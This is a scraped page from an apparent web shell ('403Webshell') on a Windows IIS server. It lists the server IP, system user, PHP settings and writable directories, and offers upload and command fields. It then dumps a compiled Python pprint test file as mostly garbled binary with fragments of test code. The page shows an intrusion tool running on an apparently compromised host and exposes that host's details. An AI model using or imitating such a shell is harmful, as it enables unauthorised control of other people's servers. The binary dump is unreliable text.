403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_pprint.cpython-313.opt-1.pyc
�

��iȠ���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKr	SSK
r
SSKr"SS\5r
"SS\5r"SS\5r"SS	\5r"S
S\5r"SS
\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r\R@"S S!55r!\R@"S"S#55r"\R@"S$S%9"S&S'55r#\R@"S(S)55r$\R@"S*S+55r%\R@"S,S-55r&"S.S/5r'"S0S15r("S2S3\RR5r*"S4S5\RV5r,\-S6:Xa\R\"5 gg)7�Nc��\rSrSrSrg)�list2��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��%C:\Python313\\Lib\test\test_pprint.pyrr���r
rc��\rSrSrSrSrg)�list3�c�,�[RU5$�N)�list�__repr__��selfs rr�list3.__repr__����}�}�T�"�"r
rN�rr	r
rrrrr
rrr���#r
rc��\rSrSrSrSrg)�list_custom_repr�c�D�S[[RU55-$�N�*)�lenrrrs rr�list_custom_repr.__repr__����3�t�}�}�T�*�+�+�+r
rNrrr
rrr���,r
rc��\rSrSrSrg)�tuple2�rNrrr
rr(r(rr
r(c��\rSrSrSrSrg)�tuple3�c�,�[RU5$r)�tuplerrs rr�tuple3.__repr__s���~�~�d�#�#r
rNrrr
rr+r+s��$r
r+c��\rSrSrSrSrg)�tuple_custom_repr�"c�D�S[[RU55-$r!)r#r.rrs rr�tuple_custom_repr.__repr__#s���3�u�~�~�d�+�,�,�,r
rNrrr
rr1r1"s��-r
r1c��\rSrSrSrg)�set2�&rNrrr
rr6r6&rr
r6c��\rSrSrSrSrg)�set3�)c�,�[RU5$r)�setrrs rr�
set3.__repr__*s���|�|�D�!�!r
rNrrr
rr9r9)s��"r
r9c��\rSrSrSrSrg)�set_custom_repr�-c�D�S[[RU55-$r!)r#r<rrs rr�set_custom_repr.__repr__.s���3�s�|�|�D�)�*�*�*r
rNrrr
rr?r?-s��+r
r?c��\rSrSrSrg)�
frozenset2�1rNrrr
rrDrD1rr
rDc��\rSrSrSrSrg)�
frozenset3�4c�,�[RU5$r)�	frozensetrrs rr�frozenset3.__repr__5s���!�!�$�'�'r
rNrrr
rrGrG4s��(r
rGc��\rSrSrSrSrg)�frozenset_custom_repr�8c�D�S[[RU55-$r!)r#rJrrs rr�frozenset_custom_repr.__repr__9s���3�y�)�)�$�/�0�0�0r
rNrrr
rrMrM8s��1r
rMc��\rSrSrSrg)�dict2�<rNrrr
rrRrR<rr
rRc��\rSrSrSrSrg)�dict3�?c�,�[RU5$r)�dictrrs rr�dict3.__repr__@rr
rNrrr
rrUrU?rr
rUc��\rSrSrSrSrg)�dict_custom_repr�Cc�D�S[[RU55-$r!)r#rXrrs rr�dict_custom_repr.__repr__Dr%r
rNrrr
rr[r[Cr&r
r[c�d�\rSrSr%\\S'\\S'Sr\\S'\	R"SSS9r\\S'S	rg
)�
dataclass1�G�field1�field2F�field3�)�default�repr�field4rN)
rr	r
r�str�__annotations__�intrd�bool�dataclasses�fieldrhrrr
rr`r`Gs-���K��K��F�D���#�#�A�E�:�F�C�:r
r`c�*�\rSrSr%Sr\\S'SrSrg)�
dataclass2�Nre�ac��g)N�0custom repr that doesn't fit within pprint widthrrs rr�dataclass2.__repr__Qs��Ar
rN)	rr	r
rrrrkrjrrrr
rrprpNs��
�A�s�J�Br
rpF)rgc�$�\rSrSr%Sr\\S'Srg)�
dataclass3�TrerrrN)rr	r
rrrrkrjrrr
rrwrwTs��
�A�s�Jr
rwc�.�\rSrSr%S\S'Sr\\S'Srg)�
dataclass4�Xrrre�brN�rr	r
rrjr|rkrrr
rrzrzX����O�
�A�s�Jr
rzc�.�\rSrSr%S\S'Sr\\S'Srg)�
dataclass5�]�
dataclass6rrrer|rNr}rr
rr�r�]r~r
r�c�.�\rSrSr%S\S'Sr\\S'Srg)r��br��cre�drN)rr	r
rrjr�rkrrr
rr�r�br~r
r�c��\rSrSrSrSrg)�Unorderable�gc�*�[[U55$r)ri�idrs rr�Unorderable.__repr__hs���2�d�8�}�r
rNrrr
rr�r�gs��r
r�c�D�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�	Orderable�lc��Xlgr��_hash)r�hashs  r�__init__�Orderable.__init__ms���
r
c��g)NFr�r�others  r�__lt__�Orderable.__lt__os��r
c�
�X:g$rrr�s  r�__gt__�Orderable.__gt__q�
���}�r
c�
�X:H$rrr�s  r�__le__�Orderable.__le__sr�r
c��g)NTrr�s  r�__ge__�Orderable.__ge__us��r
c��XL$rrr�s  r�__eq__�Orderable.__eq__ws
���}�r
c��XL$rrr�s  r�__ne__�Orderable.__ne__ys��� � r
c��UR$rr�rs r�__hash__�Orderable.__hash__{s���z�z�r
r�N)
rr	r
rr�r�r�r�r�r�r�r�rrr
rr�r�ls*��������!�r
r�c�"�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!S r"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*S)r+S*r,S+r-S,r.S-r/S.r0S/r1g0)1�
QueryTestCase�~c��[[S55Ul[[S55UlURURS'g)N�d��i�)r�rangerrr|rs r�setUp�QueryTestCase.setUp�s3���e�C�j�!����e�C�j�!����f�f����s�r
c���[R"5n[R"SSS[R"5SS9n[R"SSS[R"55n[R"SS9nUR	[
5 [R"SSS[R"5S5nSSS5 UR	[[RSS	9 UR	[[RS
S9 UR	[[RSS9 UR	[[RS
S9 g!,(df   N�=f)
N��(�T)�indent�width�depth�stream�compactF��
sort_dicts����r�r�r��r�)�pprint�
PrettyPrinter�io�StringIO�assertRaises�	TypeError�
ValueError)r�pps  r�	test_init�QueryTestCase.test_init�s��
�
!�
!�
#��
�
!�
!��"�A�)+�����F��
�
!�
!�!�R��B�K�K�M�
:��
�
!�
!�U�
3��
�
�
�y�
)��%�%�a��Q����
�t�D�B�*����*�f�&:�&:�2��F����*�f�&:�&:�!��D����*�f�&:�&:�"��E����*�f�&:�&:�!��D�*�
)�s�.E�
E'c���[R"5nSSSSS/SSS0S[S5S	S
SSURUR4H�nUR[R"U5SU<35 UR[R"U5S
U<35 URUR
U5SU<35 URURU5S
U<35 M� g)N�g@y@�abc�)r�r�sdefsghiTF.�expected not isrecursive for �expected isreadable for )	r�r��	bytearrayrrr|�assertFalse�isrecursive�
assertTrue�
isreadable)rr��safes   r�
test_basic�QueryTestCase.test_basic�s���
�
!�
!�
#����R����U�Q��F�F��v�&��e�T�3��V�V�T�V�V�%�D�
���V�/�/��5�BF�H�
J��O�O�F�-�-�d�3�<@�B�
D�
���R�^�^�D�1�BF�H�
J��O�O�B�M�M�$�/�<@�B�
D�%r
c���[R"S5 Sn[R"U5 [R"5RU5 SSS5 g!,(df   g=f)Nzthis should not fail)�
contextlib�redirect_stdoutr�r�)r�values  r�test_stdout_is_None�!QueryTestCase.test_stdout_is_None�sD��
�
'�
'��
-�*�E��M�M�%� �� � �"�)�)�%�0�	.�
-�
-�s�=A�
A+c��URURS'0UlUR=URS'=URS'URS'[R"5nURURURURUR44H�nUR[R"U5S5 UR[R"U5S5 URUR
U5S5 URURU5S5 M� URR5 URSS2	URSS2	URURURURUR44H�nUR[R"U5SU<35 UR[R"U5SU<35 URUR
U5SU<35 URURU5SU<35 M� g)	Nr\rrer�zexpected isrecursivezexpected not isreadabler�r�)
rrr|r�r�r�r�r�r�r��clear)rr��ickyr�s    r�test_knotted�QueryTestCase.test_knotted�s����V�V����r�
����,0�F�F�2����q�	�2�D�F�F�1�I����q�	�
�
!�
!�
#���F�F�D�F�F�D�F�F�T�V�V�T�V�V�,<�<�D��O�O�F�.�.�t�4�6L�M����V�.�.�t�4�6O�P��O�O�B�N�N�4�0�2H�I����R�]�]�4�0�2K�L�	=�	
�������F�F�1�I��F�F�1�I��F�F�D�F�F�D�F�F�T�V�V�T�V�V�,<�<�D����V�/�/��5�BF�H�
J��O�O�F�-�-�d�3�<@�B�
D�
���R�^�^�D�1�BF�H�
J��O�O�B�M�M�$�/�<@�B�
D�=r
c��[R"5n[5[[[R4H�nUR[R"U5SU<35 UR[R"U5SU<35 URUR	U5SU<35 URUR
U5SU<35 M� g)Nr�zexpected not isreadable for )r�r��objectrkr�r�r�)rr��
unreadables   r�test_unreadable�QueryTestCase.test_unreadable�s���
�
!�
!�
#�� �(�C���1C�1C�C�J����V�/�/�
�;�BL�N�
P����V�.�.�z�:�AK�M�
O�
���R�^�^�J�7�BL�N�
P����R�]�]�:�6�AK�M�
O�Dr
c	���/SPSPSPSPSPSP[5PSP[5P[5P/P[5P[	5P[5P[
5P[5P[5P[5P[5P0P[5P[5PURP[PSPSPSPS	PS
PSP[S5PSPS
/PS
S0PSPS
S/PSS0P[S5P[S5P[[S55PS
S/P[S
S/5P[	S
S/5P[	[S55P[S15P[
S15P[S15P[S15P[S15P[S15P[SS05P[SS05P[SSS5PSPSPSPSP7H�n[!U5nUR#[R$"U5U5 UR#[R$"USSS9R'SS5U5 UR#[R$"USS9U5 UR#[R("U5U5 M� g) Nryg�r
ri����y��g���x�x�r�r��)rer�r�r�r����
i����r�TF.re�r�r��
� ��underscore_numbers)r�r(r+rrr<r6r9rJrDrGrRrUr�r�r�rg�assertEqual�pformat�replace�saferepr)r�simple�natives   r�test_same_as_repr�QueryTestCase.test_same_as_repr�sH���q��!��T��3����C�������!�8��%+�X���� �7��$)�G���u��#�f��'+�f��!�{�	�%/�L�	�3=�,�	�
��
!�7��
%*�G�����
�)/�
����� %��'+��-0��26��8A������ �S��$%�a�&���� !��e��'(��V���e�}��'-�U�m��6<�E�#�J�5G���!�u��$�Q�q�E�l��-2�1�Q�%�L��;@��c�
�:K���A�3�x��"&�q�c���-1�!��I��!�!��~��(2�1�#���9C�A�3����a��V�}��',�Q��F�m���R��b�)�� �!� #�!� %)�!� +.�!�F�$�&�\�F����V�^�^�F�3�V�<����V�^�^�F�!�A�F�%�g�d�C�0�&�
:����V�^�^�F�t�L�f�U����V�_�_�V�4�f�=�/r
c���Sn[5[/SQ5[[U55[5[/SQ5[[U55[5[/SQ5[[U55[	5[	/SQ5[	[U55[5[SS05[[
[U5[U5554H�n[U5nS[U5-nUR[R"U5U5 UR[R"USSS9U5 UR[R"U5U5 M� g)	N��)rer�r�r�r�r"rerr�)
rr�r1r?rMr[�ziprgr#r�r�r�r�)r�N�contr�expecteds     r�#test_container_repr_override_called�1QueryTestCase.test_container_repr_override_called�s����&�'�%�g�.�%�e�A�h�/�&�(�&�w�/�&�u�Q�x�0�$�&�$�W�-�$�U�1�X�.�*�,�*�7�3�*�5��8�4�%�'�%�q�!�f�-�%�c�%��(�5��8�&<�=��D� �$�Z�F��S��[�(�H����V�^�^�D�1�8�<����V�^�^�D��!�D�h�O����V�_�_�T�2�H�=�)r
c�2�SSSSSSSS.nSn[[4H/nUR[R"U"U55U5 M1 [S5nSSR
[[U55-n[[4H/nUR[R"U"U55U5 M1 [[S55nS	SR
[[U55-n[[4H/nUR[R"U"U55U5 M1 [S5nS
SR
[[U55-n[[4H.nUR[R"U"U5SS
9U5 M0 g)Nri��i��)�RPM_cal�RPM_cal2�	Speed_cal�controldesk_runtime_us�main_code_runtime_us�read_io_runtime_us�write_io_runtime_usz�{'RPM_cal': 0,
 'RPM_cal2': 48059,
 'Speed_cal': 0,
 'controldesk_runtime_us': 0,
 'main_code_runtime_us': 0,
 'read_io_runtime_us': 0,
 'write_io_runtime_us': 43690}r�z[%s]�,
 z(%s)z[   %s]z,
    r�r�)
rXrRr�r�r�r��join�maprirrr.r()r�o�exp�types    r�test_basic_line_wrap�"QueryTestCase.test_basic_line_wrapsF�����'(�%&�#$�$)�

+��"���5�M�D����V�^�^�D��G�4�c�:�"�
�#�J���v�{�{�3�s�A�;�/�/���5�M�D����V�^�^�D��G�4�c�:�"�
�%��*����v�{�{�3�s�A�;�/�/���F�O�D����V�^�^�D��G�4�c�:�$�
�#�J���)�.�.��S�!��5�5���5�M�D����V�^�^�D��G�A�>��D�"r
c���[[S55n[SSSS9nX/nSnUR[R
"USSS	9U5 S
nUR[R
"USSS	9U5 g)Nr�rer�r�)�first�second�thirdzN[   [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
    {'first': 1, 'second': 2, 'third': 3}]r��*)r�r�za[   [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
    {   'first': 1,
        'second': 2,
        'third': 3}]r:)rr�rXr�r�r�)r�o1�o2rr	s     r�test_nested_indentations�&QueryTestCase.test_nested_indentations;sp��
�%��)�_��
��!�1�
-��
�H��.��	
�������!�2�>��I���
	
�������!�2�>��Ir
c�F�Sn[U5nUR[R"USS9U5 UR[R"USS9U5 UR[R"USS9U5 UR[R"USS9S5 g)Nz�[[[[[[1, 2, 3],
     '1 2']]]],
 {1: [1, 2, 3],
  2: [12, 34]},
 'abc def ghi',
 ('ab cd ef',),
 set2({1, 23}),
 [[[[[1, 2, 3],
     '1 2']]]]]�r�r��z�[[[[[[1,
      2,
      3],
     '1 '
     '2']]]],
 {1: [1,
      2,
      3],
  2: [12,
      34]},
 'abc def '
 'ghi',
 ('ab cd '
  'ef',),
 set2({1,
       23}),
 [[[[[1,
      2,
      3],
     '1 '
     '2']]]]])�evalr�r�r�)rr	rs   r�
test_width�QueryTestCase.test_widthJs���	��
��N����������4�h�?���������4�h�?���������4�h�?���������4�7�	r
c�^�UR[R"S5S5 UR[R"SSS9S5 "U4SjS[5mUR[R"T"S55S	5 g)
Ni���1234567Tr��	1_234_567c�2>^�\rSrSrUU4SjrSrSrU=r$)�/QueryTestCase.test_integer.<locals>.Temperatureitc�$>�[TU]TU5$r)�super�__new__)�cls�celsius_degrees�Temperature�	__class__s  ��rr3�7QueryTestCase.test_integer.<locals>.Temperature.__new__us����w��{�O�D�Dr
c��US-nUSS3$)Ngfffffq@z.2fu°Kr)r�kelvin_degreess  rr�8QueryTestCase.test_integer.<locals>.Temperature.__repr__ws��!%����(��-�S�1�1r
r)rr	r
rr3rr�
__classcell__)r7r6s@�rr6r0ts���
E�
2�
2r
r6ru
1273.15°K)r�r�r�rk)rr6s @r�test_integer�QueryTestCase.test_integerpsc����������0�)�<��������D�I�;�W�	2�#�	2�	
�������D�(9�:�L�Ir
c��SSSS.nUR[R"U5S5 UR[R"X/5S5 UR[R"S//0S.5S5 g)Nre�rrr|r�z{'a': 1, 'b': 1, 'c': 1}z4[{'a': 1, 'b': 1, 'c': 1}, {'a': 1, 'b': 1, 'c': 1}]r�)zxy	ab
r�rz#{5: [[]], 'xy\tab\n': (3,), (): {}})r�r�r��rr�s  r�test_sorted_dict�QueryTestCase.test_sorted_dict|sp��
�!�!�$���������*�,F�G���������/�B�	D�	
������T�r�d��(K�L�2�	4r
c���[RS5nUR[R"USS9S5 UR[R"X/SS9S5 g)N�cbaFr�z!{'c': None, 'b': None, 'a': None}zF[{'c': None, 'b': None, 'a': None}, {'c': None, 'b': None, 'a': None}])rX�fromkeysr�r�r�rAs  r�test_sort_dict�QueryTestCase.test_sort_dict�sM���M�M�%� ���������e�<�>a�b���������5�A�T�	Vr
c��[R"5nUR[R"USS9S5 [R"/5nUR[R"USS9S5 SR5n[R"[
U[R"555nUR[R"U5S5 g)Nrer�z
OrderedDict()�*the quick brown fox jumped over a lazy dogz�OrderedDict([('the', 0),
             ('quick', 1),
             ('brown', 2),
             ('fox', 3),
             ('jumped', 4),
             ('over', 5),
             ('a', 6),
             ('lazy', 7),
             ('dog', 8)]))	�collections�OrderedDictr�r�r��splitr�	itertools�count�rr��wordss   r�test_ordered_dict�QueryTestCase.test_ordered_dict�s����#�#�%����������3�_�E��#�#�B�'����������3�_�E�<�B�B�D���#�#�C��y���/@�$A�B���������*�	�
	r
c���SR5n[[U[R"555n[
R"U5nUR[R"U5S5 [R"[U[R"555n[
R"U5nUR[R"U5S5 g)NrJz�mappingproxy({'a': 6,
              'brown': 2,
              'dog': 8,
              'fox': 3,
              'jumped': 4,
              'lazy': 7,
              'over': 5,
              'quick': 1,
              'the': 0})a^mappingproxy(OrderedDict([('the', 0),
                          ('quick', 1),
                          ('brown', 2),
                          ('fox', 3),
                          ('jumped', 4),
                          ('over', 5),
                          ('a', 6),
                          ('lazy', 7),
                          ('dog', 8)])))rMrXrrNrO�types�MappingProxyTyper�r�r�rKrL)rrQr��ms    r�test_mapping_proxy� QueryTestCase.test_mapping_proxy�s���<�B�B�D����U�I�O�O�-�.�/���"�"�1�%���������*�	-�		�
�#�#�C��y���/@�$A�B���"�"�1�%���������*�	-+�		,r
c�~�[R"5n[R"U5nUR	US5 g)Nznamespace()�rU�SimpleNamespacer�r�r��r�ns�	formatteds   r�test_empty_simple_namespace�)QueryTestCase.test_empty_simple_namespace�s.��
�
"�
"�
$���N�N�2�&�	�����M�2r
c�~�[R"SSS9n[R"U5nUR	US5 g)Nrer�)rrr|znamespace(a=1, b=2)r[r]s   r�test_small_simple_namespace�)QueryTestCase.test_small_simple_namespace�s3��
�
"�
"�Q�!�
,���N�N�2�&�	�����$9�:r
c��[R"SSSSSSSSS	S
9	n[R"USSS9nUR	US
5 g)Nrrer�r�r�r�r�r�r��	�the�quick�brown�fox�jumped�overrr�lazy�dogrSr�z�namespace(the=0,
          quick=1,
          brown=2,
          fox=3,
          jumped=4,
          over=5,
          a=6,
          lazy=7,
          dog=8)r[r]s   r�test_simple_namespace�#QueryTestCase.test_simple_namespace�sV��
�
"�
"����������

���N�N�2�R��:�	�����	%�		r
c��"SS[R5nU"SSSSSSS	S
SS9	n[R"US
S9nUR	US5 g)Nc��\rSrSrSrg)�GQueryTestCase.test_simple_namespace_subclass.<locals>.AdvancedNamespacei�rNrrr
r�AdvancedNamespacers�s��r
rtrrer�r�r�r�r�r�r�rfrSr�z�AdvancedNamespace(the=0,
                  quick=1,
                  brown=2,
                  fox=3,
                  jumped=4,
                  over=5,
                  a=6,
                  lazy=7,
                  dog=8)r[)rrtr^r_s    r�test_simple_namespace_subclass�,QueryTestCase.test_simple_namespace_subclass�s\��<�� 5� 5�<�
����������

���N�N�2�R�0�	�����	%�		r
c��[R"SS5"5n[R"U5nUR	US5 g)N�MyDataclassrz
MyDataclass())rm�make_dataclassr�r�r��r�dcr_s   r�test_empty_dataclass�"QueryTestCase.test_empty_dataclass�s5��
�
'�
'�
�r�
:�
<���N�N�2�&�	�����O�4r
c�l�[SS5n[R"U5nURUS5 g)N�text�{z3dataclass1(field1='text', field2=123, field3=False))r`r�r�r�rzs   r�test_small_dataclass�"QueryTestCase.test_small_dataclasss-��
���
$���N�N�2�&�	�����$Y�Zr
c��[S[S5S5n[R"X/SSS9nUR	US5 g)Nzsome fairly long textg _�BTrSr�r�z�[   dataclass1(field1='some fairly long text',
               field2=10000000000,
               field3=True),
    dataclass1(field1='some fairly long text',
               field2=10000000000,
               field3=True)])r`rkr�r�r�rzs   r�test_larger_dataclass�#QueryTestCase.test_larger_dataclasss>��
�/��T��D�
A���N�N�B�8�2�a�@�	�����% �	!r
c�f�[5n[R"USS9nURUS5 g)N�r�rt)rpr�r�r�rzs   r�test_dataclass_with_repr�&QueryTestCase.test_dataclass_with_reprs*��
�\���N�N�2�R�0�	�����$V�Wr
c��[5n[R"USS9nURUS[R
"[5S35 g)Nr�r��<z.dataclass3 object at \w+>)rwr�r��assertRegex�re�escaperrzs   r�test_dataclass_no_repr�$QueryTestCase.test_dataclass_no_reprsA��
�\���N�N�2�R�0�	���������8�$�%�%?�@�	
r
c�t�[S5nXl[R"USS9nUR	US5 g)Nr�r�z!dataclass4(a=...,
           b=1))rzrrr�r�r�rzs   r�test_recursive_dataclass�&QueryTestCase.test_recursive_dataclasss6��
��
�����N�N�2�R�0�	�����%�	r
c��[S5n[S5nX!lXl[R
"USS9nUR
US5 g)Nr�r�zLdataclass5(a=dataclass6(c=...,
                        d=1),
           b=1))r�r�rrr�r�r�r�)r�dc5�dc6r_s    r�test_cyclic_dataclass�#QueryTestCase.test_cyclic_dataclass'sE���������������N�N�3�b�1�	�����%�	r
c��SSS.nSn[5nURURU5U5 S/nSnURURU5U5 S/nSnURURU5U5 g)	Nz should be presented using repr()z	like.this)znames with spaceszothers.should.not.bez[{'names with spaces': 'should be presented using repr()',
 others.should.not.be: like.this}z
with spacez['with space']z
without.spacez[without.space])�DottedPrettyPrinterr�r�)rrr�dotted_printerr!�exp1r"�exp2s        r�test_subclassing�QueryTestCase.test_subclassing2s���"D�%0�
2��%��-�.������/�/��2�C�8��^��������/�/��3�T�:��
�� ������/�/��3�T�:r
c	�0�UR[R"[55S5 UR[R"[[	S555S5 UR[R"[[	S55SS9S5 UR[R"[[	S55SS9S5 UR[R"[
[	S55SS9S	5 UR[R"[55S
5 UR[R"[[	S555S5 UR[R"[[	S55SS9S5 UR[R"[[	S55SS9S
5 UR[R"[[	S55SS9S5 g)Nzset()r�z	{0, 1, 2}r�r�r�z{0,
 1,
 2,
 3,
 4,
 5,
 6}z?set2({0,
      1,
      2,
      3,
      4,
      5,
      6})zset3({0, 1, 2, 3, 4, 5, 6})zfrozenset()zfrozenset({0, 1, 2})zbfrozenset({0,
           1,
           2,
           3,
           4,
           5,
           6})zifrozenset2({0,
            1,
            2,
            3,
            4,
            5,
            6})z!frozenset3({0, 1, 2, 3, 4, 5, 6}))
r�r�r�r<r�r6r9rJrDrGrs r�test_set_reprs�QueryTestCase.test_set_reprsEs{����������.��8��������E�!�H�
�6��D��������E�!�H�
�R�@�C�	�	
�������U�1�X��b�A�D
�	�	
�������U�1�X��b�A�6�	8�	
������	��4�m�D�������	�%��(�(;�<�/�	1�������	�%��(�(;�2�F�I�	�	
������
�5��8�(<�B�G�J�	�	
������
�5��8�(<�B�G�<�	>r
c
��^^�SSKm[5n[S5n[X45nTR[R"U5SU<SU<S35 TR[R"U5[U55 [S5nU[X450nTR[R"U5SU<SU<SU<S	35 TR[R"U5[U55 [S
5n[S5n[X$45nTR[R"U5[U55 UU4Sjn[S
5n[S5nU"[R"[X$455SU<SU<S3SU<SU<S3/5 U"[R"[[S5[S5455/SQ5 g)Nr)r��xyz�frozenset({z, �}))�one�two�{z
: frozenset({z})})r��qwerty)�abcd�spamc	�>�TRXVs/sH"nTRU5R5PM$ sn5 gs snfr)�assertIn�dedent�strip)�res�
invariants�ir�textwraps   ��r�check�3QueryTestCase.test_set_of_sets_reprs.<locals>.check�s5����M�M�#�J�O�J�q����� 2� 8� 8� :�J�O�P��Os�)A
)zregular stringzother string)zthird stringzone more stringz
                frozenset({z,
                           z})
                )zxyz very-very long stringzqwerty is also absurdly long)zabcd is even longer that beforezspam is not so long)a%
                frozenset({frozenset({'abcd is even longer that before',
                                      'spam is not so long'}),
                           frozenset({'qwerty is also absurdly long',
                                      'xyz very-very long string'})})
                a%
                frozenset({frozenset({'abcd is even longer that before',
                                      'spam is not so long'}),
                           frozenset({'xyz very-very long string',
                                      'qwerty is also absurdly long'})})
                a%
                frozenset({frozenset({'qwerty is also absurdly long',
                                      'xyz very-very long string'}),
                           frozenset({'abcd is even longer that before',
                                      'spam is not so long'})})
                a%
                frozenset({frozenset({'qwerty is also absurdly long',
                                      'xyz very-very long string'}),
                           frozenset({'spam is not so long',
                                      'abcd is even longer that before'})})
                )r�rJr�r�r�rg)r�fs0�fs1�data�fs2�fsr�r�s`      @r�test_set_of_sets_reprs�$QueryTestCase.test_set_of_sets_reprsqs����.	��k����'���#��$���������-�25�s�;�	=��������-�t�D�z�:���'���Y��z�*�+���������-�8;�S�#�F�	H��������-�t�D�z�:��)�*���(�)��
��z�
"���������+�T�"�X�6�	Q��:�;���;�<��
��N�N�9�c�Z�0�1�
�C�!��C�!�	
�	
�	��N�N��������	�	�
�
�*	
r
c�D�SnSSSSSSS000000nSSSSSS///////nUR[R"U5[U55 UR[R"U5[U55 UR[R"U5[U55 SnS	nS
nUR[R"USS9U5 UR[R"USS9U5 UR[R"USS9U5 g)N)re)r�)r�)r�)r�r�rer�r�r�r�r�z
(1, (...))z
{1: {...}}z
[1, [...]]r�)r�r�r�rg)r�nested_tuple�nested_dict�nested_list�	lv1_tuple�lv1_dict�lv1_lists       r�
test_depth�QueryTestCase.test_depth�s��1���1�q�1�q�1�a�&�k�"2�3�4�5���1�q�1�q�1�b�'�l�"3�4�5�6���������5�t�L�7I�J��������4�d�;�6G�H��������4�d�;�6G�H� �	������������A�>�	�J��������1�=�x�H��������1�=�x�Hr
c���Sn[U5Vs/sH
n[5PM nn[R"U5 [	U[
S9nSnUR
U"[R"[U555SSR[[U55-S-5 UR
U"[R"[U555SSR[[U55-S-5 UR
U"[R"[RU555SSRS	U55-S-5 UR
[R"[S
SS
05S[[5-S
-5 SS/nUR
[R"[RUS
55S[![	U[
S95-5 gs snf)Nr�)�keyc�F�URSS5RSS5$)Nr�r�r�)r�)�ss r�<lambda>�<QueryTestCase.test_sort_unorderable_values.<locals>.<lambda>�s��!�)�)�C��,�4�4�T�"�=r
r��,�}r�r�c3�,# �UH
nSU-v� M g7f)z%r:NoneNr)�.0�ks  r�	<genexpr>�=QueryTestCase.test_sort_unorderable_values.<locals>.<genexpr>�s���8�%�Q�9�q�=�%�s�rrez{1: 0, z: 0})rerz{%r: 0, %r: 0})r�r��random�shuffle�sortedr�r�r�r�r<rrrgrJrXrFr.)r�nr��keys�skeys�cleans      r�test_sort_unorderable_values�*QueryTestCase.test_sort_unorderable_values�s�����',�Q�x�0�x�!��
�x��0����t���t��$��=������v�~�~�c�$�i�8�9��#�(�(�3�t�U�+�,�,�s�2�	4�����v�~�~�i��o�>�?��C�H�H�S��u�%5�6�6��=�	?�����v�~�~�d�m�m�D�.A�B�C��#�(�(�8�%�8�8�8�3�>�	@�	
�������a��A�(>�?�"�T�+�%6�6��>�	@��g����������
�
�d�A�(>�?�)�E�&��2�2F�,G�G�	I��%1s�G0c�*�[5n[[U55nURX5 UR[	[U55[	[U555 UR
[X!/5X/5 UR
[X/5X/5 UR
[R"[X!/5SS9SU<SU<S35 UR
[R"[X/5SS9SU<SU<S35 UR
[R"[RX!/5SS9SU<SU<S35 UR
[R"[RX/5SS9SU<SU<S35 g)Nrer�r�rr�z	: None,
 z: None})
r�r�r��
assertLessrirr�r�r�r�r<rXrF)rrrr|s   r�*test_sort_orderable_and_unorderable_values�8QueryTestCase.test_sort_orderable_and_unorderable_valuess!���M���d�1�g������������D��G��c�$�q�'�l�3��������!��0��������!��0��������Q�F��1�=�)*�A�.�	0��������Q�F��1�=�)*�A�.�	0�	
�������
�
�q�f�(=�Q�G�56��:�	<��������
�
�q�f�(=�Q�G�56��:�	<r
c�>�SnUR[R"USS9S5 UR[R"SUSS.SS9S	5 S
nUR[R"USS9[U55 UR[R"USS9S
5 UR[R"USS9S5 UR[R"U/////SS9S5 UR[R"U/////SS9S5 UR[R"U/////SS9S5 SnUR[R"USS9[U55 UR[R"S5S5 US-n[	SS5Hjn[R"X$S9nUR[U5U5 [R"U/S-US9nUR[U5U/S-5 Ml g)NrJrr��6('the quick brown '
 'fox jumped over '
 'a lazy dog')rer�r@r'zW{'a': 1,
 'b': 'the quick brown '
      'fox jumped over '
      'a lazy dog',
 'c': 2}u@Portons dix bons "whiskys"
à l'avocat goujat	 qui fumait au zoo�D�uN('Portons dix bons "whiskys"\n'
 "à l'avocat goujat\t qui "
 'fumait au zoo')r�uV('Portons dix bons '
 '"whiskys"\n'
 "à l'avocat "
 'goujat\t qui '
 'fumait au zoo')�#u^[[[[['Portons dix bons "whiskys"\n'
     "à l'avocat goujat\t qui "
     'fumait au zoo']]]]]un[[[[['Portons dix bons '
     '"whiskys"\n'
     "à l'avocat "
     'goujat\t qui '
     'fumait au zoo']]]]]ruv[[[[['Portons dix '
     'bons "whiskys"\n'
     "à l'avocat "
     'goujat\t qui '
     'fumait au '
     'zoo']]]]]�dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx�Pr��''r�r�r�)r�r�r�rgr�r))rrj�special�unwrappabler�r_s      r�
test_str_wrap�QueryTestCase.test_str_wraps���:���������2�6�9�	�	
������a�c��(B�.0�2�4�	
�Y���������r�:�D��M�J��������r�:�=�	�	
�������r�:�=�	�	
������W�I�;�-��(9��D�G�	�	
������W�I�;�-��(9��D�G�	�	
������W�I�;�-��(9��D�G�	� ���������2�>��[�@Q�R��������+�T�2��2�
���1�b�\�E����w�<�I����T�)�_�g�6�����y�1�}�E�B�I����T�)�_�w�i�!�m�<�	"r
c	�&�[S5Vs/sHn[[X-55PM sn[S5Vs/sHn[[U55PM sn-nSnUR[R"USSS9U5 gs snfs snf)Nr�r�z�[[], [0], [0, 1, 2, 3],
 [0, 1, 2, 3, 4, 5, 6, 7, 8],
 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,
  14, 15],
 [], [0], [0, 1], [0, 1, 2], [0, 1, 2, 3],
 [0, 1, 2, 3, 4]]�/T�r�r�)r�rr�r�r�)rr�rr	s    r�test_compact�QueryTestCase.test_compactWsv��*/��(�
3�(�Q�d�5���<� �(�
3�&+�A�h�
/�h��d�5��8�n�h�
